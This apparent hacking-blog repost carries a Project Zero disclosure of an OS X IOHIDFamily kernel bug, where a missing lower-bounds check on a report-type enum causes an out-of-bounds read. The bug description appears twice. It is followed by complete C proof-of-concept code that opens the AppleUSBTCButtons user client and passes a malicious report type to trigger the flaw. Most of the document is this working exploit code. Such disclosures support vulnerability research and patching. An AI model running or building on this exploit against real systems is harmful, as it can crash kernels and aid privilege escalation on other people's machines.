Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863543626

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=774

The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum,
which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport:

            ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0]

handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds
check here too:

    if ( reportType >= kIOHIDReportTypeCount )
              return kIOReturnBadArgument;

reportType is then used here:
        element = GetHeadElement( GetReportHandlerSlot(reportID),
                                  reportType);

        while ( element ) {
            shouldTickle |= element->shouldTickleActivity();
            changed |= element->processReport( reportID,

where GetHeadElement is defined as:

#define GetHeadElement(slot, type)  _reportHandlers[slot].head[type]

This leads to an OOB read off the head array followed by virtual function calls

Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2

Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers.

I can provide panic logs if required.
*/

// ianbeer

// clang -o hidlib_oob hidlib_oob.c -framework IOKit -framework CoreFoundation

/*
OS X kernel OOB read of object pointer due to insufficient checks in raw cast to enum type

The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum,
which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport:

            ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0]

handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds
check here too:

    if ( reportType >= kIOHIDReportTypeCount )
              return kIOReturnBadArgument;

reportType is then used here:
        element = GetHeadElement( GetReportHandlerSlot(reportID),
                                  reportType);

        while ( element ) {
            shouldTickle |= element->shouldTickleActivity();
            changed |= element->processReport( reportID,

where GetHeadElement is defined as:

#define GetHeadElement(slot, type)  _reportHandlers[slot].head[type]

This leads to an OOB read off the head array followed by virtual function calls

Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2

Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers.

I can provide panic logs if required.
*/

#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <unistd.h>

#include <libkern/OSAtomic.h>
#include <mach/mach_error.h>

#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>

io_connect_t get_user_client(const char* name, int type) {
  kern_return_t err;
  CFDictionaryRef matching;
  io_service_t service;

  // try IOServiceMatching
  matching = IOServiceMatching(name);
  service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); // consume a ref on matching
  
  if (service == MACH_PORT_NULL) {
    // try IOServiceNameMatching
    matching = IOServiceNameMatching(name);
    service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
  }

  if (service == MACH_PORT_NULL) {
    // try everything and look for a partial name match
    matching = IOServiceMatching("IOService");
    io_iterator_t iterator;
    IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
    
    int found_it = 0;
    while ((service = IOIteratorNext(iterator)) != IO_OBJECT_NULL) {
      io_name_t object_name;
      IOObjectGetClass(service, object_name);
      if (strstr(object_name, name)) {
        found_it = 1;
        break;
      }
      IOObjectRelease(service);
    }
    IOObjectRelease(iterator);

    if (!found_it) {
      // couldn't find any matches for the name anywhere
      return MACH_PORT_NULL;
    }
  }

  io_connect_t conn = MACH_PORT_NULL;

  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
    printf("IOServiceOpen failed: %s\n", mach_error_string(err));
    IOObjectRelease(service);
    return MACH_PORT_NULL;
  }
  IOObjectRelease(service);
  
  return conn;
}

kern_return_t poc(io_connect_t client){  
  unsigned int selector;

  uint64_t inputScalar[16];
  size_t inputScalarCnt = 0;

  uint8_t inputStruct[4096];
  size_t inputStructCnt = 0; 

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;
  
  inputScalar[0] = 0xe0000000; // cast to an enum (int) and no lower-bounds check
  inputScalar[1] = 0x00a90000;
  inputScalar[2] = 0;

  inputScalarCnt = 3;

  outputStructCnt = 0x1000;

  selector = 12;

  return IOConnectCallMethod(
    client,
    selector,
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt);
}


int main(int argc, char** argv){
  io_connect_t client = get_user_client("AppleUSBTCButtons", 0);
  if (client == MACH_PORT_NULL) {
    printf("no client\n");
    return 1;
  }

  poc(client);

  return 0; 
}